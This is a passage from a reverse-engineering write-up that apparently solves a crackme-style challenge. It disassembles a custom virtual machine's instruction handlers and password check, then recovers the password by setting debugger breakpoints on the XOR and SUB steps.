.text:08048AFE movzx eax, vm_mem[eax]
.text:08048B05 movsx eax, al
.text:08048B08 mov eax, [ebp+eax*4+reg_table]
.text:08048B0F mov [ebp+operand2], eax
.text:08048B12 add [ebp+offset], 5
.text:08048B16 jmp op_add

Let’s look at the first basic block at 0x08048A8F. It read the next byte from the virtual machine’s memory (line 2 to 6). This byte was used as a flag to indicate the operands used by the add operation. Then it read another byte that was the register index used to store the return value (line 7 to 11). Next, it compared if the operand flag was 0 (line 17), 1 (line 13, 14), 2 (line 22, 23), 4 (line 24, 25). If none of these values matched, it would jump to 0x08048ADE. loc_8048ADE would read two bytes and used them as register indexes (line 29 to 33 and line 35 to 39). Then it loaded the correspondent registers’ values as the operands of the add instruction (line 33, 34 and line 39, 40). Next, let’s look at other possibilities of the add instruction’s operands.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
.text:08048B1B loc_8048B1B:    ;op_flag=1
.text:08048B1B mov eax, [ebp+offset]
.text:08048B1E add eax, 3
.text:08048B21 movzx eax, vm_mem[eax]
.text:08048B28 movsx eax, al
.text:08048B2B mov eax, [ebp+eax*4+reg_table]
.text:08048B32 mov [ebp+operand1], eax
.text:08048B35 mov eax, [ebp+offset]
.text:08048B38 add eax, 4
.text:08048B3B add eax, 804C0C0h
.text:08048B40 mov eax, [eax]
.text:08048B42 mov [ebp+operand2], eax
.text:08048B45 add [ebp+offset], 8
.text:08048B49 jmp short op_add

.text:08048B4B loc_8048B4B: ;op_flag=2
.text:08048B4B mov eax, [ebp+offset]
.text:08048B4E add eax, 3
.text:08048B51 add eax, 804C0C0h
.text:08048B56 mov eax, [eax]
.text:08048B58 mov [ebp+operand1], eax
.text:08048B5B mov eax, [ebp+offset]
.text:08048B5E add eax, 7
.text:08048B61 movzx eax, vm_mem[eax]
.text:08048B68 movsx eax, al
.text:08048B6B mov eax, [ebp+eax*4+reg_table]
.text:08048B72 mov [ebp+operand2], eax
.text:08048B75 add [ebp+offset], 8
.text:08048B79 jmp short op_add

.text:08048B7B loc_8048B7B: ;op_flag=4
.text:08048B7B mov eax, [ebp+offset]
.text:08048B7E add eax, 3
.text:08048B81 add eax, 804C0C0h
.text:08048B86 mov eax, [eax]
.text:08048B88 mov [ebp+operand1], eax
.text:08048B8B mov eax, [ebp+offset]
.text:08048B8E add eax, 7
.text:08048B91 add eax, 804C0C0h
.text:08048B96 mov eax, [eax]
.text:08048B98 mov [ebp+operand2], eax
.text:08048B9B add [ebp+offset], 0Bh
.text:08048B9F nop

While the flag of operand was 1 (loc_8048B1B), it read one byte as the register index (line 2 to 7) and an four bytes integer (line 8 to 12) so that the add operation would use one register and an integer as operands. While the flag of operand was 2 (loc_8048B4B), it first read a four bytes integer (line 17 to 21) and another one byte as the register index (line 22 to 27). While the flag of operand was 4, it read two four-bytes integers (line 32 to 36 and line 37 to 41) as the add instruction’s operands.

Finally, let’s check the basic block that performed the add instruction.

1
2
3
4
5
6
7
8
9
10
.text:08048BA0 op_add:
.text:08048BA0 mov eax, [ebp+operand2]
.text:08048BA3 mov edx, [ebp+operand1]
.text:08048BA6 add edx, eax
.text:08048BA8 mov eax, [ebp+reg_index]
.text:08048BAB mov [ebp+eax*4+reg_table], edx
.text:08048BB2 mov eax, [ebp+reg_index]
.text:08048BB5 mov eax, [ebp+eax*4+reg_table]
.text:08048BBC mov [ebp+ret_value], eax
.text:08048BBF jmp loc_8049C67

This block just did an add operation on previously loaded operands (line 2 to 4) and store the return value in a register (line 5, 6). Then it jumped back to the main switch (line 10). So the above analysis was only the add instruction. In order to understand the virtual machine, one should reverse other instructions. I will omit the analysis of other instructions because they were very similar. The following is the instruction encoding table.

Instruction Encoding
INCPC <opcode>
RET <opcode>
ADD <opcode> <flag> <reg | !> <reg | m32> <reg | m32>
SUB <opcode> <flag> <reg | !> <reg | m32> <reg | m32>
IMUL <opcode> <flag> <reg> <reg | m32> <reg | m32>
XOR <opcode> <flag> <reg> <reg | m32> <reg | m32>
AND <opcode> <flag> <reg> <reg | m32> <reg | m32>
OR <opcode> <flag> <reg> <reg | m32> <reg | m32>
SHL <opcode> <flag> <reg> <reg | m32> <reg | m32>
SAR <opcode> <flag> <reg> <reg | m32> <reg | m32>
IDIV <opcode> <flag> <reg> <reg> <reg | m32> <reg | m32>
NEG <opcode> <reg> <reg>
NOT <opcode> <reg> <reg>
SETZ <opcode> <reg> <reg>
JMP <opcode> <m32>
JZ <opcode> <m32>
CALL <opcode> <m32>
JS <opcode> <m32>
JLE <opcode> <m32>
JG <opcode> <m32>
JNZ <opcode> <m32>
JNS <opcode> <m32>
MOV <opcode> <flag> <reg | [reg]> <reg | m32 | [reg]>
INC <opcode> <reg>
DEC <opcode> <reg>
PUSH <opcode> <reg | m32>
POP <opcode> <reg>
IOFUNC <opcode> <m32>
EXIT <opcode>

<opcode>, <flag, <reg> were all one byte and <m32> was 4 bytes. After have got the virtual machine’s opcodes, I could disassembly its memory. I used IDA’s processor module, check this repository for more information.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
ROM:1BC0 main:
ROM:1BC0 PUSH R8
ROM:1BC3 PUSH R9
ROM:1BC6 PUSH R10
ROM:1BC9 CALL printEnterPassword
ROM:1BCE MOV R1, $1E
ROM:1BD5 MOV R0, $4
ROM:1BDC CALL sub_1080
ROM:1BE1 MOV R10, R0
ROM:1BE5 JMP jmp_getchar_loop
ROM:1BEA JMP test0xA
ROM:1BEF
ROM:1BEF jmp_getchar_loop:
ROM:1BEF MOV R8, 0
ROM:1BF6 JMP loc_1D66
ROM:1BFB
ROM:1BFB get30char:
ROM:1BFB MOV R29, R8
ROM:1BFF IMUL R29, $4
ROM:1C07 MOV R0, R10
ROM:1C0B ADD R29, R0
ROM:1C10 MOV R9, R29
ROM:1C14 CALL getchar
ROM:1C19 MOV R1, R0
ROM:1C1D MOV [R9], R1
ROM:1C20 MOV R1, [R9]
ROM:1C23 MOV R29, R1
ROM:1C27 MOV R0, $A
ROM:1C2E SUB R29, R0
ROM:1C32 JZ wrongPassword
ROM:1C37 JMP incCounter

ROM:1D5E incCounter:
ROM:1D5E ADD R8, 1
ROM:1D66 loc_1D66:
ROM:1D66 MOV R29, R8 ;R29=0
ROM:1D6A MOV R0, $1E ;R0=30
ROM:1D71 SUB R29, R0
ROM:1D75 JS get30char
ROM:1D7A
ROM:1D7A test0xA:
ROM:1D7A CALL getchar
ROM:1D7F MOV R1, R0
ROM:1D83 MOV R29, R1
ROM:1D87 MOV R0, $A
ROM:1D8E SUB R29, R0
ROM:1D92 JNZ wrongPassword
ROM:1D97 JMP jmp_pass_check

The virtual machine read a password of size 30 (line 35 to 39). If the password’s length was smaller than 30, it would display the wrong password message. The pass_check function did a lot of operations to generate the final check condition. However if we follow only the read operation of the password, the check condition was indeed relatively simple.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
ROM:181A                 XOR            R4, R3    ;R4=password[i]
ROM:181F MOV R29, R2
ROM:1823 IMUL R29, $4
ROM:182B MOV R0, R8
ROM:182F ADD R29, R0
ROM:1834 MOV R3, R29
ROM:1838 MOV R3, [R3]
ROM:183B MOV R29, R4 ;R29=password[i]
ROM:183F MOV R0, R3
ROM:1843 SUB R29, R0
ROM:1847 JNZ loc_1851
ROM:184C JMP loc_1858
ROM:1851
ROM:1851 loc_1851:
ROM:1851 MOV R1, 1
ROM:1858
ROM:1858 loc_1858:
ROM:1858 ADD R2, 1
ROM:1860
ROM:1860 loop_counter:
ROM:1860 MOV R3, R1 ;R3=R1
ROM:1864 MOV R29, R2
ROM:1868 MOV R0, $1E
ROM:186F SUB R29, R0
ROM:1873 JS loc_17D9
ROM:1878
ROM:1878 loc_1878:
ROM:1878 AND R3, R3
ROM:187C JNZ wrongPassword

Each character of the password was xored with some value (line 1) and then the result of xor operation was subtracted with another value in memory (line 7 to 10). If the result of subtraction was not zero, R1 would be set to 1 (line 11, 14, 15). At the end of the loop, if the value of R1 was not zero, the wrong password message would be displayed (line 20 to 29). So, just set breakpoints at XOR and SUB functions in GDB and retrieved these values, I got the password.